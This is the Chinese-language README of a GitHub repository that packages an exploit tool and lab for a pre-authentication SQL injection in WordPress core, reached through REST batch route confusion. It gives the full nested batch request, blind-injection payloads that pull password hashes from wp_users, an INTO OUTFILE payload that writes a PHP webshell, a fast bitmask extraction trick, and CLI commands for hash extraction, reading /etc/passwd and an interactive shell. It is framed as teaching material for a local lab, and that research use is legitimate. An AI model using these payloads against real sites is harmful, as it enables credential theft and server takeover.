47Cid/wp2shell-lab

GitHub: 47Cid/wp2shell-lab

WordPress 核心 REST API 路由混淆导致未授权 SQL 注入漏洞的教学实验环境与优化利用工具。

Stars: 12 | Forks: 2

# wp2shell-lab 用于教学的 PoC 和实验环境,针对 **CVE-2026-63030 + CVE-2026-60137**:通过 REST 批量路由混淆引发的 WordPress 核心 Pre-authentication SQL injection。 由 Adam Kues (Searchlight Cyber / Assetnote) 发现。已在 WordPress 6.9.5 / 7.0.2 中修复。 ## 分析文章 ### 步骤 1:batch endpoint 无需身份验证 `POST /wp-json/batch/v1` 将多个 REST API 调用打包到一个 HTTP 请求中。它本身没有身份验证检查。安全性委托给每个子请求的权限回调。 ### 步骤 2:不同步(desync) `serve_batch_request_v1()` 构建了两个并行数组: - `$matches[]` 追踪要将每个子请求**分发**到哪个 handler - `$validation[]` 追踪每个子请求是否**通过了验证** 它在分发期间通过相同的偏移量对两者进行索引。漏洞在于:当子请求的路径未通过 `wp_parse_url()` 时,一个 `WP_Error` 会被推入 `$validation`,但**不会**推入 `$matches`。这导致 `$matches` 发生了错位,因此后续的每个子请求都会被分发到错误的 handler。 ### 步骤 3:双重嵌套 这种不同步(desync)被利用了两次。 **外层 batch。** 一个携带内部 batch 作为其 body 的 `/wp/v2/posts` 请求会在 batch handler 下被分发(自调用)。它被作为 posts 请求进行验证,因此内部的 `requests` 数组从未根据 batch schema 进行检查。这绕过了方法白名单,并允许内部子请求使用 GET。 **内层 batch。** 一个 `/wp/v2/categories?author_exclude=` 请求会在 posts 的 `get_items()` 下被分发。categories schema 没有定义 `author_exclude`,因此它毫无阻碍地通过了验证。但是 posts 的 `get_items()` 将其映射到了 `WP_Query::author__not_in`,其中的值被原生地插值到了 SQL 中。 ### 步骤 4:SQL injection 存在漏洞的 `WP_Query` 代码仅在 `author__not_in` 已经是数组时才对其进行了净化(sanitized): ``` // PRE-FIX (vulnerable) if (is_array($query_vars['author__not_in'])) { $query_vars['author__not_in'] = array_map('absint', ...); // sanitize } $author__not_in = implode(',', (array) $query_vars['author__not_in']); $where .= " AND post_author NOT IN ($author__not_in) "; // raw interpolation ``` 字符串值完全绕过了 `is_array()` 检查。`(array)` 转换在未进行净化的情况下将其包装。 ### 步骤 5:你可以用它做什么 **读取数据库**(适用于每个受影响的站点): ``` author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- - ``` 布尔盲注:返回帖子 = true,为空 = false。对每个字符进行二进制搜索。 **写入文件**(需要 MySQL FILE 权限,这不是 WordPress 的默认设置): ``` author_exclude = 0) AND 1=0 UNION SELECT '' INTO OUTFILE '/path/shell.php'-- - ``` ## Batch desync 实际的 HTTP 请求: ``` { "requests": [ {"method": "POST", "path": "http://"}, {"method": "POST", "path": "/wp/v2/posts", "body": { "requests": [ {"method": "POST", "path": "http://"}, {"method": "POST", "path": "/wp/v2/categories?author_exclude=", "body": {"name": "x", "orderby": false}}, {"method": "GET", "path": "/wp/v2/posts"} ] }}, {"method": "POST", "path": "/batch/v1"} ] } ``` 数组是如何错位的: `serve_batch_request_v1()` 在两个循环中处理子请求。第一个 循环验证每个子请求并构建 `$matches[]` 和 `$validation[]`。 第二个循环使用 `$matches[$i]` 作为 handler 来 分发每个子请求。因为引导项的错误在 `$matches` 中丢失了,所以第二个 循环将每个请求与错误的 handler 配对。 ``` POST /?rest_route=/batch/v1 (anonymous, no auth) | v OUTER BATCH +--------------------------------------------------------------+ | | | Loop 1 (validate): | | [0] "http://" -> wp_parse_url fails | | [1] POST /wp/v2/posts -> match: posts_handler | | [2] POST /batch/v1 -> match: batch_handler | | | | $validation: [ error, OK(posts), OK(batch) ] | | $matches: [ posts_handler, batch_handler ] | | ^ | | error skipped in $matches | | | | Loop 2 (dispatch): | | i=0: error -> skip | | i=1: POST /posts uses $matches[1] = batch_handler | | -> posts body executed as a nested batch | | i=2: POST /batch uses $matches[2] = out of bounds | | | +--------------------------------------------------------------+ | v INNER BATCH (recursive serve_batch_request_v1) +--------------------------------------------------------------+ | | | Loop 1 (validate): | | [0] "http://" -> wp_parse_url fails | | [1] POST /categories -> match: categories_handler | | [2] GET /wp/v2/posts -> match: posts_handler | | | | $validation: [ error, OK(cats), OK(posts) ] | | $matches: [ categories_handler, posts_handler ] | | | | Loop 2 (dispatch): | | i=0: error -> skip | | i=1: POST /categories uses $matches[1] = posts_handler | | -> categories request handled by posts get_items() | | -> author_exclude not in cats schema, unsanitized | | -> posts maps it to WP_Query::author__not_in | | -> SQL INJECTION | | | +--------------------------------------------------------------+ ``` ## 通过 X-WP-Total 位掩码盲注实现快速提取 现有的 PoC 使用盲布尔提取:每个 HTTP 请求提取 1 位,获取一个密码哈希大约需要 224 次请求。本仓库结合了两种技术,实现了约 75 倍的提取速度。 **X-WP-Total 盲注。** WordPress 在 post 查询中添加了 `SQL_CALC_FOUND_ROWS`,并将计数放在 `X-WP-Total` 响应头中。UNION 行在 SQL 层级被计数,即使 PHP 将它们从响应正文中过滤掉了。条件 UNION 对单个位进行编码: ``` 0) AND 1=0 UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0 -- bit 0 UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0 -- bit 1 ... -- bits 2-6 -- - ``` `X-WP-Total` = 0 表示该位未设置,1 表示该位已设置。七次探测 = 一个完整的 ASCII 字符。 **无限制的内部 batch。** 外部 batch 通过其 schema 验证了 `maxItems: 25`。路由混淆绕过了这一点:内部 batch 递归运行,没有进行大小检查。多个字符的所有 7 次位探测都可以打包进一个请求中。 16 个字符 x 7 位 = 每个请求 112 次探测。获取一个 34 字符的 phpass 哈希大约只需 3 个请求,而不是 224 个。 ## 快速开始 ``` # 启动 vulnerable lab cd docker && ./setup.sh cd .. # detect python3 -m exploit check http://localhost:8888 python3 -m exploit check http://localhost:8888 --confirm-sqli # extract data (fast mode, default) python3 -m exploit extract http://localhost:8888 --preset fingerprint python3 -m exploit extract http://localhost:8888 --preset users # extract data (blind mode, for comparison) python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint # 自定义 SQL query python3 -m exploit extract http://localhost:8888 --query "SELECT @@version" # RCE (需要 FILE privilege, lab 已授予) python3 -m exploit rce http://localhost:8888 --cmd "id" python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd" python3 -m exploit rce http://localhost:8888 -i # interactive shell # 通过 Burp 代理 python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080 # tear down cd docker && ./setup.sh down ``` ## 参考 - [WordPress 7.0.2 发布](https://wordpress.org/news/2026/07/wordpress-7-0-2-release/) - [Searchlight Cyber 公告](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core) - [GHSA-ff9f-jf42-662q](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q)(路由混淆) - [GHSA-fpp7-x2x2-2mjf](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf)(SQLi) - [Icex0/wp2shell-poc](https://github.com/Icex0/wp2shell-poc) - 盲 SQLi + 认证后 webshell - [AdnaneKhan/Wp2Shell-RCE](https://github.com/AdnaneKhan/Wp2Shell-RCE) - INTO OUTFILE RCE 与 Docker 实验环境 - [sergiointel/wp2shell-poc](https://github.com/sergiointel/wp2shell-poc) - 极简的基于时间的 PoC ## 合法性 仅供授权的安全测试和教育使用。仅限针对您拥有或获得明确书面许可进行测试的系统使用。
标签:CISA项目, Maven, REST API, WordPress, 漏洞复现, 漏洞验证, 请求拦截, 逆向工具